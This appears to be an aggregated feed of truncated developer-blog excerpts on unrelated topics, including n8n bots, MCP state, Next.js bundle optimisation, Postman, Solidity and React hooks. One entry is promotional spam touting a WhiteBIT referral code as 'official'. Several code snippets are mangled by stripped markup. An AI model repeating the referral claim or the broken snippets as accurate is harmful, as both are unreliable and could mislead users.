N8N has been gaining popularity lately due to its high flexibility. This platform can be installed on your own server (self-hosted) and is free to use, although there is a paid version with additional features. So what is N8N? N8N is an open-source workflow automation platform that allows you to connect various applications and services without the need for heavy coding. Simply drag and drop the available nodes, then connect them like a puzzle. What makes N8N even more popular is its ability to easily connect to various AI models such as OpenAI, Gemini, Claude, and even open-source models like Llama 2 and Mistral. Previously, we discussed how to create a Telegram Bot using coding (Node.js and Go). This time, we will try an easier approach — creating a Bot without any coding at all! Yep, wi…  ( 8 min )

WhiteBIT is a trading platform that offers users reduced fees through referral codes. The official WhiteBIT referral code is "20CASHBACK", which gives you a 20% discount on all trading fees. To use it, enter "20CASHBACK" in the referral code field when registering a new account on WhiteBIT. Once your account is verified, the 20% fee discount is automatically applied to all trades. If you already have an account, check the Referral/Promotion section in your profile — in many cases, you can still add the code there to activate the discount. Using the WhiteBIT referral code "20CASHBACK" ensures you save on trading fees and maximize your trading experience.  ( 5 min )

MCP (Model Context Protocol) is designed for stateless tool execution, meaning each tool invocation is independent of any previous calls. But many real-world agent workflows need memory or context the ability to remember facts between calls or share state across steps. This article explores how to design MCP-based tools that maintain context across calls, while honoring MCP's stateless and serverless nature. We’ll look at strategies like token passing, external memory stores, chained planning, and best practices from recent research and tooling. MCP was created as a standardized, stateless protocol for interacting with AI tools. It avoids maintaining tool-specific memory across calls, simplifying scalability and inter-service consistency. Each tool invocation receives a payload, executes, …  ( 8 min )

Introduction As a software engineer, preparing for interviews has become more important than ever in today’s uncertain tech landscape. Among dynamic programming challenges, the coin change problems are some of the trickiest to keep a solid grip on—they seem simple at first but are easy to forget. In this article, I’ll break down these problems in a way that helps others approach them with confidence, while also reinforcing my own understanding so the logic sticks more firmly the next time I encounter them. The coin change I problem asks the minimum number of coins to reach the requested amount. You are given an integer array coins representing coins of different denominations and an integer amount representing a total amount of money. Return the fewest number of coins that you need to m…  ( 9 min )

Hey fellow developers 👋, I'm excited to introduce Smart Stays – Hotel Booking System, an open-source platform for seamless hotel reservations, built using React.js, Redux, and Tailwind CSS. Whether you're a student, a dev building SaaS, or anyone refining their skills with real-world projects, Smart Stays offers a rich, feature-packed client to explore and contribute to! Smart Stays aims to deliver a smooth hotel booking experience for users. You can search, filter by location/dates/guests, register and log in, and manage your bookings—all in a beautiful, responsive UI. It's designed with clean code and full-stack extensibility in mind. Modern hotel search and filter Booking management – view, modify, or cancel reservations. Responsive design – works great on mobile and desktop. Sec…  ( 6 min )

## Agentes Inteligentes: Navegando por Riscos e Oportunidades em um Mundo Conectado O conceito de agentes inteligentes permeia cada vez mais nosso cotidiano, desde os simples chatbots que nos atendem em sites até os complexos assistentes virtuais que organizam nossas vidas. Mas o que exatamente são esses agentes? Quais as implicações de sua crescente presença? Vamos mergulhar nesse universo. O que são Agentes Inteligentes? Em essência, um agente inteligente é um sistema que percebe seu ambiente, age de forma autônoma para atingir um objetivo específico e pode aprender com a experiência. Eles não são apenas softwares; são sistemas projetados para tomar decisões e executar tarefas sem intervenção humana direta, utilizando algoritmos e inteligência artificial. Exemplos Práticos: Bots de Cha…  ( 7 min )

The plastic manufacturing industry stands at the cusp of a technological revolution. As global demand for plastic products continues to surge—from automotive components to medical devices—manufacturers are increasingly turning to Internet of Things (IoT) solutions to optimize their operations, reduce costs, and enhance product quality. This digital transformation promises to reshape every aspect of plastic production, from raw material handling to final product delivery. Traditional plastic manufacturing has long relied on manual processes, periodic maintenance schedules, and reactive problem-solving approaches. While these methods have served the industry for decades, they come with significant limitations: Unplanned downtime due to equipment failures Quality inconsistencies from manual m…  ( 9 min )

Building Production RAG in 2024: Lessons from 50+ Deployments Retrieval Augmented Generation (RAG) has become one of the most practical ways to make large language models reliable. After building more than fifty RAG systems in production, I want to share what consistently works and what doesn’t. FastAPI over Flask. Async support makes a big difference once you scale. FAISS over ChromaDB, at least for workloads under one million documents. MiniLM over Ada-002. The balance of cost and performance is hard to beat. Many teams ignore this, but it is a small tweak with a big impact on retrieval quality. By normalizing embeddings, you ensure the cosine similarity is consistent. embeddings = embeddings / np.linalg.norm(embeddings, axis=1, keepdims=True) Without normalization, dense vectors with…  ( 6 min )

Introduction In this exercise, we will learn how to generate QR codes for free in C# using the QRCoder library. QR codes are widely adopted in modern applications for sharing links, payment information, authentication, and more. With just a few lines of code, you can generate and save QR codes as image files on your local machine. This approach works with .NET 8/.NET 9 and is completely FREE, making it ideal for personal projects, demos, and enterprise solutions. Run the following command in your project directory: dotnet add package QRCoder This installs the QRCoder library which provides multiple renderers (PNG, Bitmap, SVG, etc.). We'll create a helper class to encapsulate QR code generation. For cross-platform support, we’ll use the built-in PngByteQRCode renderer, which returns PNG…  ( 6 min )

Building on the foundation of clean record validation Java Records transformed how we handle immutable data in Java, but they left us with one challenge: In previous article about Record constructor validation, Record - a library that brings the same philosophy of simplicity to builder pattern generation. Let's say you have a User record: public record User(String name, int age, String email) { } Creating instances with all parameters is straightforward: User user = new User("John Doe", 30, "john@example.com"); But what happens when you need: Optional parameters Step-by-step construction Functional updates Immutable modifications You'd typically need to write a lot of boilerplate code. Record Companion solves this with a single Record Companion follows the same philosophy I outlined in…  ( 7 min )

If you wake up to find your Windows 11 laptop battery mysteriously drained overnight, you’re not alone. Many users report losing 10–30% of their battery charge even when the device is idle, in sleep mode, or supposedly shut down. This guide will cover all possible causes of Windows 11 battery drain, provide step-by-step solutions, and give you pro tips for long-term battery health. By the end, you’ll have a practical roadmap to keep your laptop powered up and efficient. Before jumping into solutions, let’s break down why this happens: Windows 11 uses Modern Standby instead of the traditional S3 sleep. It allows background activities like Wi-Fi syncing, updates, and push notifications. This consumes more battery than expected during sleep. Background Processes and File Indexing Apps like On…  ( 8 min )

Back in July, I wrote about our journey of building an AWS community in Ethiopia in my post “How We’re Building an AWS Community in Ethiopia — Lessons from the Ground Up”. At the time, I shared our excitement and anticipation for what was to come: AWS Community Day Addis Ababa 2025. On August 2, 2025, that vision became a reality. More than 100 builders, educators, students, startups, and cloud enthusiasts gathered at Yellow Catalyst in Addis Ababa for a full-day, community-led event powered by the AWS User Group Addis Ababa. *A Milestone for Ethiopia’s Cloud Builders Community Day wasn’t just another meetup; it was our biggest milestone yet. For the first time, we hosted three simultaneous tracks: DevOps on AWS AI/ML & Data Innovation Startups & Cloud Adoption Each track was designed to …  ( 7 min )

Building Fast and Lightweight Web Applications with TinyGo and WebAssembly Modern web development demands high performance, low latency, and lightweight applications that provide seamless experiences to users across devices and connections. With the rise of WebAssembly (Wasm), developers now have a powerful tool to achieve these goals. But what if we told you that you could write WebAssembly modules in Go? Thanks to TinyGo, that dream is a reality. In this article, we'll explore how TinyGo bridges the gap between Go and WebAssembly, highlight its advantages, and walk through building a simple WebAssembly-powered web application using TinyGo. Whether you're a seasoned Go developer or just curious about WebAssembly, this post will give you a solid foundation for getting started. TinyGo is …  ( 8 min )

Bad Cheese is a first-person psychological horror game dripping with vintage Steamboat Willie–style, hand-drawn animation. It launches on September 1 for PC, PlayStation 5, Xbox Series X|S, and Nintendo Switch (1 & 2). If you’re up for a spooky trip down toon-town, wishlist it on Steam now. Watch on YouTube  ( 5 min )

When your JavaScript bundle is bloated, users pay the price with slow load times, janky interactions, and higher bounce rates. In this post, I’ll walk you through the exact steps I’ve used in production to shrink bundle size and speed up apps. 1. Use Dynamic Imports Avoid loading heavy components or libraries upfront. import dynamic from "next/dynamic"; const Chart = dynamic(() => import("../components/Chart"), { ssr: false }); export default function Dashboard() { return ; } ✅ Result: Loads only when needed, reducing initial bundle size. 2. Tree Shake Your Code Only import what you need. ❌ Bad: import _ from "lodash"; ✅ Good: import debounce from "lodash/debounce"; 3. Bundle Analyzer Use @next/bundle-analyzer to visualize what’s in your bundle. npm install @next/bundle-analyzer In next.config.js: const withBundleAnalyzer = require("@next/bundle-analyzer")({ enabled: process.env.ANALYZE === "true", }); module.exports = withBundleAnalyzer({}); Run: ANALYZE=true npm run build 4. Remove Unused Dependencies Audit your project: npm prune npm dedupe If a package isn’t being used — uninstall it. 5. Optimize Images and Fonts Use next/image for optimized images. Use next/font for font subsets — avoids downloading unused glyphs. 6. Code Splitting Routes Next.js automatically code-splits per page, but you can: Split very large pages into smaller ones. Move rarely used components to dynamically loaded chunks. Key Takeaways Analyze → Optimize → Monitor. Bundle size is a continuous process, not a one-time fix. Your users will thank you with lower bounce rates and higher engagement. Have you checked your Next.js bundle size recently? #nextjs #javascript #webperformance #frontend #reactjs  ( 7 min )

If you’re starting your journey in Python, Data Science, or Machine Learning, chances are you’ve already heard about Jupyter. But here’s the harsh reality most beginners face: Most tutorials skip best practices Beginners often get lost between Jupyter Notebook vs JupyterLab Wrong installs → broken projects later Example: You finally set up Jupyter, write some code, share it with a teammate… and boom 🚨 it breaks on their system. Why ? This guide will walk you through the right way to install, organize, and run Jupyter — so your projects stay clean, scalable, and production-ready. Think of Jupyter Notebook as a coding workspace — like VS Code, Sublime, or Vim — but designed for Python + Data Science. It lets you: Write and run Python code in small chunks (cells) Add markdo…  ( 7 min )

En tant que développeuse full-stack dans une entreprise qui jongle avec plusieurs produits, je travaille principalement sur des applications web. Le mobile n'est pas notre spécialité, et comme souvent, nous faisons les montées de version au dernier moment. C'est dans ce contexe que replonge dans les profondeurs de React Native. npm run android et l'application se lance, mais tout ce n'est pas passé comme prévu. Mission : passer d'Android SDK33 à 35 pour supporter Android 15 Modification du android/build.gradle  pour basculer  compileSdkVersion et targetSdkVersion vers 35 Mise à jour buildToolsVersion vers "35.0.0" Upgrade Android Gradle Plugin : 8.2.0 → 8.6.0 (première alerte rouge que j'aurais du voir venir) Ajout de la propriété magique android.suppressUnsupportedCompileSdk=35 dans gradl…  ( 7 min )

Collections are a fundamental part of any application that manages data. In C#, you have two primary options for working with collections: generic and non-generic.  Collections are classes used to store, manage, and manipulate groups of related objects. Generic Collections Non-Generic Collections Type-Safe by Design No accidental data type mismatches No need for casting Better Performance Common Generic Collections List names = new List(); Dictionary studentMap = new Dictionary(); Queue prices = new Queue(); HashSet uniqueIds = new HashSet(); Object-Based Storage Runtime errors if the cast is incorrect Lower performance due to boxing/unboxing Common Non-Generic Collections ArrayList items = new ArrayList(); items.Add(42); items.Add("hello"); // Works, but can cause issues later Hashtable map = new Hashtable(); map["id"] = 1; map["name"] = "Alice"; When you work with large amounts of data, the cost of boxing/unboxing and casting becomes significant. ArrayList list = new ArrayList(); // Value type is boxed list.Add(1); // Unboxed and cast manually int number = (int)list[0]; VS List list = new List(); // No boxing required list.Add(1); // Clean and safe int number = list[0]; These are benchmarking result of adding, and iterate throw elements for both type of collections. Generic collections are the default choice for modern .NET development providing type safety, clarity, and performance. Non-generic collections still exist for backward compatibility but are largely obsolete for most use cases. Choose wisely and your application will thank you with fewer bugs and better performance.  ( 6 min )

Welcome back to our Flutter offline-first architecture series! In Part 1, we laid the foundation for offline data storage using SQLite and SharedPreferences. Now, we're diving deep into the complex world of data synchronization and connectivity management. In this tutorial, we'll enhance our note-taking app with: Dual Storage System: Separate offline and online note storage Intelligent Sync Engine: Automatic synchronization when connectivity is restored Tab-Based Interface: Clear separation between offline and online notes Real-time Connectivity Monitoring: Visual indicators for connection status Conflict Resolution: Handling data conflicts during synchronization Before we begin, make sure you have: Flutter SDK installed (3.0 or higher) Basic understanding of Flutter widgets and state mana…  ( 18 min )

Imagine your code as a little city, where variables live, move, and sometimes vanish. Let’s walk through it visually. 1. Variables Are Sticky Notes and Crates Primitives (numbers, strings, booleans): tiny sticky notes on a super-fast shelf (stack) Objects, arrays, functions: crates in a warehouse (heap) with variables holding pointers to them Visual Idea: Draw a stack shelf with sticky notes labeled num=42 Draw a heap warehouse with crates labeled arr=[1,2,3] Arrows from arr to the crate in the heap let num = 42; let arr = [1,2,3]; Arrows = references. Sticky notes = primitives. 2. var, let, const The Variable Characters Think of variables as personalities in your city: var: The forgetful traveler hoisted, function-scoped, can be redeclared let: Responsible block-resident bloc…  ( 7 min )

Another day in the life of building something from scratch, and the universe decided to serve up some comedy. Hit the gym at 5am today. Not because I'm some productivity guru, but because I finally realized I was avoiding it based on what people might think. Those people aren't even there at 5am. Sometimes our biggest obstacles are the imaginary critics we create in our heads. Walked into the library at 9am, ready to code. No internet. Yesterday? Full public makeout session happening right there. It's like living in some chaotic anime where every day brings a completely different energy. This got me thinking about how we handle unexpected blockers in development. No internet meant no Stack Overflow, no GitHub, no quick documentation checks. Just me, my local environment, and whatever I cou…  ( 7 min )

How to Add Chapters to a YouTube Video Vladislav Guzey ・ Aug 16  ( 5 min )

AI has transformed the way we code — whether you’re writing boilerplate, refactoring logic, or debugging across large codebases. But with so many tools out there, the real question is: Which AI coding assistant is the best for you? In this post, we’ll break down the five most popular AI coding tools today: Cursor GitHub Copilot Codeium Tabnine Amazon CodeWhisperer We’ll go over their advantages, drawbacks, and how they compare against each other, so you can make the best decision for your stack, budget, and workflow. Think: ChatGPT + VS Code in one seamless experience. Full project awareness: Cursor indexes your entire codebase and understands relationships between files. Inline AI refactoring: Select code and say “optimize this” or “convert to async” — it just works. Minimal learning curv…  ( 7 min )

From HTTP to WebSockets: How Socket.IO Powers Real-Time Apps Guna Sai ・ Aug 16 #devjournal #javascript #node #techtalks  ( 5 min )

In the competitive world of YouTube, content creators are constantly seeking an edge to improve viewer experience and boost their channel's visibility. One of the most effective yet often underutilized features is YouTube Chapters / YouTube timestamps. These segments not only make your content more navigable but also play a crucial role in your video's SEO. The manual process of creating them, however, can be tedious. In this simple tutorial, I'm going to show how you can do it using AI. Before diving into the "how," it's important to understand the "why." YouTube timestamps breaks your video's progress bar into distinct, labeled sections. This seemingly simple feature offers significant advantages: Chapters allow viewers to easily skip to the sections that are most relevant to them, which…  ( 7 min )

A step-by-step walkthrough to build your first production-ready serverless API with AWS Lambda and API Gateway. The rise of serverless computing has redefined the way we think about backend development. Instead of setting up servers, configuring runtimes, and worrying about scaling, developers can now focus entirely on writing the core business logic while the cloud provider handles everything else. Among all the serverless platforms, AWS Lambda paired with API Gateway stands out as one of the most reliable and widely used solutions. With this combination, you can build APIs that are cost-efficient, production-ready, and capable of scaling automatically without manual intervention. This series aims to break down the process into clear, actionable steps. In this first part, we will focu…  ( 7 min )

Frank — Senior Electronics Engineer (USA) In projects where performance and signal integrity are non-negotiable, material choice matters as much as circuit topology. Over the years I’ve moved many designs from FR4 prototypes to PTFE-based Rogers boards when the application demanded low loss, thermal stability, and predictable electrical behavior. Below I share why Rogers materials matter, what PTFE brings to the table, how Rogers compares to FR4, and a practical tip for getting prototypes made without reinventing your manufacturing flow. A Rogers PCB uses specialized substrates developed by Rogers Corporation (PTFE-based and ceramic-filled laminates) instead of the common fiberglass/epoxy FR4. These substrates are engineered for low dielectric constant (Dk) and very low dissipation factor…  ( 7 min )

👋 Hey devs! APIs run the world of modern apps — and Postman is the ultimate tool to test, debug, and automate them with ease. ✅ 1. Organize with Collections 💡 Pro Tip: Use folders + environment variables for clean structure. ✅ 2. Use Environments for Flexibility 📌 Example: {{base_url}}/users instead of hardcoding. ✅ 3. Automate Tests with Scripts 📌 Example: pm.test("Status is 200", () => { pm.response.to.have.status(200); }); ✔ Automate checks like response time, headers, and JSON fields. ✅ 4. Chain Requests Together 💡 This makes end-to-end API flows super smooth. ✅ 5. Run Collections with Newman (CLI) 📌 Example: newman run my-collection.json -e dev-environment.json ✅ 6. Monitor & Schedule Tests 🚀 Wrap-Up Postman isn’t just a tool for “testing endpoints” — it’s a full-blown API development & collaboration platform. ✔ Organize requests Do you use Postman just for quick checks, or have you automated your API workflows with it? 👇  ( 6 min )

Basic Struct of smart contract Pragma version declaration Each Solidity source file should begin with a pragma statement. It specifies the compatible compiler version range. It helps prevent potential errors or vulnerabilities. For example: pragma solidity >=0.7.0 =0.7.0 <0.9.0; contract HelloWorld { uint256 number; function store(uint256 num) public { number = num; } function get() public view returns (uint256) { return number; } } This is a simple HelloWorld contract demonstrating state variable storage and retrieval. After deployment, the contract instance appears in the 'Deployed Contract' area. You can input parameters to call the store function, which modifies the blockchain state and also you can click the get function to read the current state value, which is a read-only operation.  ( 5 min )

Table of Contents Motivation What are mixture of experts Why study mixture of experts Routing taxonomy Top-k routing strategy Deeper dive into the math of "token chooses expert" strategy Heuristic balancing losses This article explains by hand how to (i) route tokens and (ii balance losses in routing when training Mixture of Experts (MoEs) large language models. For those following the Stanford CS 336 class, this could be used as a study guide that complements Lecture 4 on Mixture of Experts. This article does not seek to carry out a comprehensive review of the entire MoEs literature. Hence, I will only focus on the most popular variant of routing, i.e. (i) tokens choose experts where k = 2; and (ii) heuristic balancing losses. This article was written with the assistance of Google Gemin…  ( 17 min )

What is MCP? Model Context Protocol (MCP) is the hottest topic in AI world right now! Because it solves a major limitation of the LLMs. LLMs has limited knowledge based on the data on which it was training. It doesn't have any idea about the changes happened in the world after it's training cut-off. To solve this problem, we need external tools to give additional information to LLMs. And depending on the judgement of the LLM, it should be able to call these tools whenever required, and the tool will pass the information back to LLM (by calling an external API or so). And you can consider MCP as the standardised way to build these external tools. The simplest analogy is if your laptop is an LLM, then USB connector the MCP and the different USB drivers you plugin through this connector are…  ( 7 min )

A Personal Note Before We Begin When I was in college, I had no support from my college. I was unprepared, unaware, and honestly… just trying to survive. The only thing that kept me going was my will to learn and help others. I started learning on my own — no shortcuts, no magic — and began sharing whatever I found on LinkedIn. That small act slowly grew into a community of 50,000+ people across platforms, where I now help students and job seekers with resources, guidance, and motivation. But here’s the truth: 💡 No kit, no guide, no mentor will help you unless you are clear and honest with yourself. Stop following the rat race. Make your own time. Enjoy life while building something of your own. Yes, if you want a job, there are certain things you must do — and if you s…  ( 12 min )

1. Introduction & Motivation Picture this: It’s 1995. You click a button on a website. The entire page reloads. For 5 seconds. Your coffee goes cold. The early web was static, clunky, and crying out for dynamism. Enter JavaScript: a scrappy language built in 10 days that now powers everything on web and beyond Grab a coffee, settle in. We’re about to go on a journey. Not just through code, but through time. It’s a story of corporate rivalries, impossible deadlines, and a programming language that went from a misunderstood "toy" to the undisputed universal language of the web. Why should you care? Because understanding the engine is the difference between being a coder and being an architect. It’s how you debug the undebuggable, optimize the unoptimizable, and write code that doesn’t just…  ( 15 min )

TL;DR Adam Savage revisits the infamous “Plane on a Conveyor Belt” myth and the personal backlash he and Jamie faced, explains how that controversy made the MythBusters team more careful with future experiments, and shares whether he actually enjoyed recording his audiobook. This clip is an exclusive live-stream Q&A with Tested members who asked the burning questions—like “Did you think the plane would ever take off?”—and a shout-out to everyone who’s supporting the channel. Watch on YouTube  ( 5 min )

OpenAI's GPT-5: A New Era of Warmer, More Approachable AI\n\nOpenAI, a leading force in artificial intelligence research, continues to push the boundaries of what's possible with large language models. Their flagship GPT series has revolutionized how we interact with technology, powering everything from advanced chatbots to sophisticated content generation tools. These models are designed to understand and generate human-like text, making them indispensable for a myriad of applications across industries.\n\nThe latest update to GPT-5 marks a significant shift, focusing not just on raw intelligence or factual accuracy, but on the quality of interaction. OpenAI has specifically tuned GPT-5 for a 'warmer, more approachable interaction experience.' This means users can expect conversations that feel more natural, empathetic, and less robotic. The aim is to reduce the perceived 'coldness' often associated with AI, fostering a more engaging and user-friendly dialogue. This refinement suggests an emphasis on emotional intelligence and conversational nuance, moving beyond mere information exchange.\n\nThis strategic evolution of GPT-5 carries profound implications for how we integrate AI into our daily lives and professional workflows. For businesses, it could lead to higher customer satisfaction in AI-powered support, more effective educational tools, and even richer creative collaborations. For individuals, it promises a more comfortable and intuitive digital assistant. OpenAI's move signals a broader industry trend towards human-centric AI design, prioritizing not just power, but also personality and relational quality. As AI becomes increasingly pervasive, fostering trust and ease of interaction will be paramount, and GPT-5's new approach sets a compelling precedent for the future of human-AI collaboration.  ( 9 min )

GPT-5 Mini: Speedy, Light, and All About Orbs GPT-5 Mini is a pared-down, faster variant of GPT-5 that’s been put to the test by building four bite-sized games. Spoiler: if you’re into orbs, this model’s quirky obsession will be right up your alley. Watch on YouTube  ( 5 min )

The video dives into the wild world of batteries, unpacking everything from the basic chemistry of how they store and release energy to the clever tricks scientists used to squeeze more power out of them. You’ll learn about the first rechargeable lithium batteries, the pesky “tiny needles” that caused shorts, and how visionaries like Goodenough pushed us toward today’s lithium-ion revolution. Along the way, the story shows how taming super-volatile metals led to lighter, longer-lasting cells—and why that same reactivity can make batteries go kaboom if things go sideways. Expect a mix of hands-on demos, expert insights, and even some explosive testing to illustrate both the promise and peril of our quest for the perfect battery. Watch on YouTube  ( 5 min )

** Automating Jira and Confluence Search from Slack using n8n ** 👉 Read the full blog here  ( 5 min )

Resource Preparation Name IP Role RAM CPU OS k8s-master-1 192.168.1.111 Control Plane 3 2 Ubuntu 22.04 LTS k8s-master-2 192.168.1.112 Worker 3 2 Ubuntu 22.04 LTS k8s-master-3 192.168.1.113 Worker 3 2 Ubuntu 22.04 LTS sudo apt update -y && sudo apt upgrade -y Open file host to config ip address vim /etc/hosts/ Add those configs into file 192.168.1.111 k8s-master-1 192.168.1.112 k8s-master-2 192.168.1.113 k8s-master-3 Saved and check ping We should create/switch to another user (avoid using root) to install kubernetes Create devops user and add to sudo group adduser devops usermod -aG sudo devops Switch to devops su devops cd /home/devops Because Kubernetes require actual RAM to ensure about performance and stable # turn off swap forever sudo sed -i '/swap/s/^/#…  ( 7 min )

Static keys and long-lived credentials are one of the biggest risks in cloud workloads. In this 2-minute video, I explain Workload Identity Federation (WIF) using a simple school trip analogy — students, teachers, buses, and wristbands — to make the concept crystal clear. Key Takeaways: The risks of static keys Watch here → https://youtu.be/UZa5LWndb8k https://medium.com/@mmk4mmk.mrani/how-my-kids-school-trip-helped-me-understand-workload-identity-federation-f680a2f4672b Would love to hear your thoughts — are you already using WIF in your org?  ( 5 min )

useState is the golden child of React hooks. But there comes a moment in every React developer’s journey when useState starts to feel… clumsy. Maybe you’ve been there: You’ve got three or four related pieces of state that all need to change together. Updating them means juggling multiple setX calls — and hoping you don’t forget one. Your component starts looking like a tangle of state setters and useEffect calls just to keep things in sync. Suddenly, that neat little hook feels less like a clean tool and more like a handful of sticky notes scattered across your desk. can still work with them… but every update feels like a mini scavenger hunt. That’s where useReducer comes in. Table of Contents 🧠 Core Concepts The Mental Model of useReducer Basic useReducer in Action Organizin…  ( 19 min )

Before starting this blog. I would like you all to install two things in your computer from any browser: Python from https://www.python.org/downloads/ VS code from https://code.visualstudio.com/download PIP – Installed automatically with Python as part of python installation. You can check the PIP using the command: pip --version Why do we need to install python? Python (The Interpreter): Python is the brain behind the scenes. It reads your .py files and executes the code line by line. Why do we need VS Code (The Code Editor)? Visual Studio Code (VS Code) is where you write your Python programs. It’s a powerful, lightweight text editor that makes writing code much easier with: Syntax highlighting (colorful code) Auto-complete suggestions Debugging tools Extensions (like Python formatt…  ( 6 min )

Introduction I have been exploring LLMs (Large Language Models) and agentic-driven applications for over a year now. The exploration mostly focuses on building smart tooling to improve and automate repetitive tasks. This journey has forced me to delve deep into AI and strive to understand even more advanced and complex AI concepts. This has been going incredibly well, and I've learned valuable lessons about the power of context-aware agents. A few months ago, I started designing and developing a smarter email agent that can handle the following tasks perfectly: Responding to emails from colleagues in a natural, human-like manner Accepting or rejecting meeting invites intelligently (yes, my inbox gets full really quickly due to having it tied to work, test, and dev environments, all of wh…  ( 12 min )

First question, what is Hovertank One? Remember DOOM, Quake, and Wolfenstein. Hovertank One was before them all, created by id software. This is probably going to be the only 3D game in this series. Even then, this game is not truly 3D, but will appear to be so. If you don't know the challenge already, it's to make it in one day. Before we start coding, and start that timer, we fully design a spec. This way we don't feel cheated for forgetting something at the end. If our application adheres to our concrete design list, we've made Hovertank One! It's been a while, and I felt this would be a big one to do as a comeback. I'll be using Golang and Ebitengine. I'll also be using my own UI code. All other code will be written within on day, and hopefully you can do the same. Choose your own lang…  ( 22 min )

First of all — thank you. 🙏 For real. This community has been nothing but encouraging, and it was a huge surprise to end up in the top seven last week. I didn’t expect it, but it’s appreciated more than you know. 🫶 If you're looking for a quick and efficient way to increase traffic to your DevTo blog posts (or anywhere else with a little tweaking)? Try my 10-minute DevTo crawly mirror. Here's how it works: Clone the repo. Enter your DevTO username as an env variable in the repo. Delete the existing gh-pages branch. Scheduled GHA Workflow off-peak or manually trigger. Static HTML hosted via GitHub Pages Canonical back to Dev So, this entire thing started with a conversation. 🦄 About what? I honestly can’t remember now — Copilot, debugging, something in that ballpark. Doesn’t matter. But…  ( 9 min )

Hi everyone, react-kanban-kit, an open-source Kanban board package I’ve been working on! If you’ve ever needed a Kanban-style task board in your React project, you know how tricky it can be to balance simplicity, customization, and performance. That’s exactly why I built react-kanban-kit. ✅ Lightweight and easy to integrate npm install react-kanban-kit import { Kanban } from "react-kanban-kit"; const MyKanbanBoard = () => { const dataSource = { root: { id: "root", title: "Root", children: ["col-1", "col-2", "col-3"], totalChildrenCount: 3, parentId: null, }, "col-1": { id: "col-1", title: "To Do", children: ["task-1", "task-2"], totalChildrenCount: 2, parentId: "root", }, "col-2": { id: "col-2", …  ( 6 min )

Preface Remix is a very popular IDE, which is designed for smart contract development using Solidity. It simplifies the process of coding, compiling, deploying and testing. Online IDE:: No installation is required, Files are stored in the browser local storage, which may result data loss. the important files need to manual download and backup. Desktop Application: It is recommended to use this version, because it stores files and workspaces in your computer disk. File Explorer: It allows you to browse and mange files. Workspaces: Workspaces serve as the core concept for organzing project, like a project folder. You can create, rename and delete it. Solidity Compiler: Source code must be compiled into byte code before deployment. 4.Settings: you can select the compiler version, pragma statement specifies compatible versions. Remix VM: It provides a local, temporary blockchain environment. Injected provider(MetaMask): Connect to MetaMask to deploy contracts to the mainnet or testnet After compilation, select the contract and click 'Deploy' Once deployed, contract instances apper and functions can be called you can activate or deactivate plugins to extend IDE functionality. I recommend some plugins such as Solidity static Analysis, Solidity Unit Testing.  ( 5 min )

When your methods return generic types, you break the call chain TL;DR: Avoid methods that return Object, Any, or null instead of specific types. Make them fully polymorphic Missed Polymorphism Tight Coupling Excessive Null Checks Confusing Returns Fragile Code Hard to Test Lost type safety Ifs Pollution Broken polymorphism Runtime errors Unclear contracts Testing difficulties Poor maintainability Return Polymorphic Types Use Null Object Pattern Avoid Returning any Favor Exceptions for Errors Rename for Clarity Return specific types or Interfaces Use proper abstractions Create meaningful objects Refactoring 015 - Remove NULL Maxi Contieri ・ Jul 28 '24 #webdev #beginners #java #programming When you write a method that can return many types, such as an any …  ( 24 min )

Hello 👋, I recently built a side project to showcase my Dev.to blogging stats — and it’s live on Product Hunt! 🚀 As someone who loves writing on Dev.to and tracking my blogging journey, I always wanted an easy way to showcase my progress — things like post counts, reactions, top tags, and more. So, I built Blog Stats Generator 🎉 📊 Generates auto-updating blog stats cards 🎨 Multiple themes (Default, Dev.to Light, Dracula, Night Owl, etc.) 🔗 Copy Markdown/HTML snippets to use in GitHub READMEs or blogs ✅ No login required — just enter your Dev.to username Why I Built It I wanted something simple and clean to: Track my own blogging progress Embed in my GitHub profile Share milestones with my community It was also inspired by the awesome github-readme-stats built by @anuraghazra. 👉 Live app: https://blog-stats-generator.vercel.app 👉 GitHub Repo: https://github.com/skarthikeyan96/blog-stats-generator I’m super excited to share that I just launched this project on Product Hunt today! If you find it useful, I’d love your support ❤️ 👉 Check it out on Product Hunt Add the integration for Hashnode and Medium More theme options Shareable social previews Conclusion That’s it for now! I’d love to hear your feedback on the application in the comments 🙌 And if you try it, let me know how you’re using your blog stats card!  ( 6 min )

There’s a new term floating around in the tech world: "vibe coding." It sounds cool, right? It’s the idea that you can just "feel out" what you want an AI to do, type a quick prompt, and a few seconds later, you have a working block of code. For junior developers and aspiring coders, this seems like a dream come true. You can build an app without ever truly learning how the pieces fit together. But here’s the harsh reality: this shortcut is a career death trap. The problem isn't the AI itself. AI is an incredible tool, and seasoned developers are using it to become even more efficient. The problem is the "vibe" part—the reliance on magic over understanding. It’s like using a powerful calculator to solve a math problem without ever learning what addition or multiplication actually means. Yo…  ( 7 min )

Introduction In modern web apps, debouncing is a powerful feature—especially when dealing with frequent user input, such as search bars, form validation, or filtering data. If you’re preparing for React interviews, one common question you'll face is: "How do you implement a useDebounce hook in React?" In this blog, we’ll build a useDebounce custom hook from scratch, explore why it's useful, and show how you can integrate it into real-world projects. Debouncing ensures that a function is only executed after a certain delay and only if no new event has occurred in the meantime. It’s especially useful for: Search input fields API calls during typing The useDebounce Hook Let’s dive right into the code: import { useEffect, useState } from 'react'; const useDebounce = (value, d…  ( 7 min )

Recently I was working on a project to backup files via the Autodesk BIM360/Construction Cloud API. My initial prototype took 12 hours to backup roughly 100 GB (40,230 files in 11,737 folders) which wasn't good. Due to the fast pace data is being added to the account, within 1–2 years the backup would be taking over 24 hours. After a program re-write which included moving the file downloading logic from a synchronous foreach loop to a Parallel.ForEachAsync loop I was able to get the nightly backup time down to 3 hours. Benchmark.NET. The first was on a small project containing 300 MB (136 files in 30 folders): BenchmarkDotNet=v0.13.1, OS=Windows 10.0.19044.1645 (21H2) Intel Core i7-5820K CPU 3.30GHz (Broadwell), 1 CPU, 12 logical and 6 physical cores .NET SDK=6.0.202 [Host] : .NET 6.0.…  ( 7 min )

